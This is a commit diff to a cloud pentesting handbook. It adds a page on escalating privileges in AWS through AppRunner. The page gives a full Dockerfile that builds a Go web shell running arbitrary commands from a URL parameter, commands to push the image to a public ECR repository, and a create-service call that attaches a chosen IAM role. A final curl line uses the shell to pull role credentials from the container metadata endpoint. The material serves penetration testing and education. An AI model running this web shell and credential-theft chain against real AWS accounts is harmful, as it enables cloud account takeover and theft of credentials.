Add AWS AppRunner privesc page

Author: lambdasawa

src/SUMMARY.md

@@ -267,6 +267,7 @@
     - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
   - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
     - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
+    - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
     - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
     - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
     - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md

@@ -0,0 +1,80 @@
+# AWS - AppRunner Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## AppRunner
+
+### `iam:PassRole`, `apprunner:CreateService`
+
+An attacker with these permissions can create an AppRunner service with an attached IAM role, potentially escalating privileges by accessing the role's credentials.
+
+The attacker first creates a Dockerfile that serves as a web shell to execute arbitrary commands on the AppRunner container.
+
+```Dockerfile
+FROM golang:1.24-bookworm
+WORKDIR /app
+RUN apt-get update && apt-get install -y ca-certificates curl
+RUN cat <<'EOF' > main.go
+package main
+
+import (
+	"fmt"
+	"net/http"
+	"os/exec"
+)
+
+func main() {
+	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
+		command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
+		output, err := command.CombinedOutput()
+		if err != nil {
+			fmt.Fprint(w, err.Error(), output)
+			return
+		}
+
+		fmt.Fprint(w, string(output))
+	})
+	http.ListenAndServe("0.0.0.0:3000", nil)
+}
+EOF
+RUN go mod init test && go build -o main .
+EXPOSE 3000
+CMD ["./main"]
+```
+
+Then, push this image to an ECR repository.
+By pushing the image to a public repository in an AWS account controlled by the attacker, privilege escalation is possible even if the victim's account doesn't have permissions to manipulate ECR.
+
+```sh
+IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
+docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
+aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
+docker push $IMAGE_NAME
+docker logout public.ecr.aws
+```
+
+Next, the attacker creates an AppRunner service configured with this web shell image and the IAM Role they want to exploit.
+
+```bash
+aws apprunner create-service \
+    --service-name malicious-service \
+    --source-configuration '{
+        "ImageRepository": {
+            "ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
+            "ImageRepositoryType": "ECR_PUBLIC",
+            "ImageConfiguration": { "Port": "3000" }
+        }
+    }' \
+    --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
+    --query Service.ServiceUrl
+```
+
+After waiting for the service creation to complete, use the web shell to retrieve container credentials and obtain the permissions of the IAM Role attached to AppRunner.
+
+```sh
+curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
+```
+
+**Potential Impact:** Direct privilege escalation to any IAM role that can be attached to AppRunner services.
+
+{{#include ../../../banners/hacktricks-training.md}}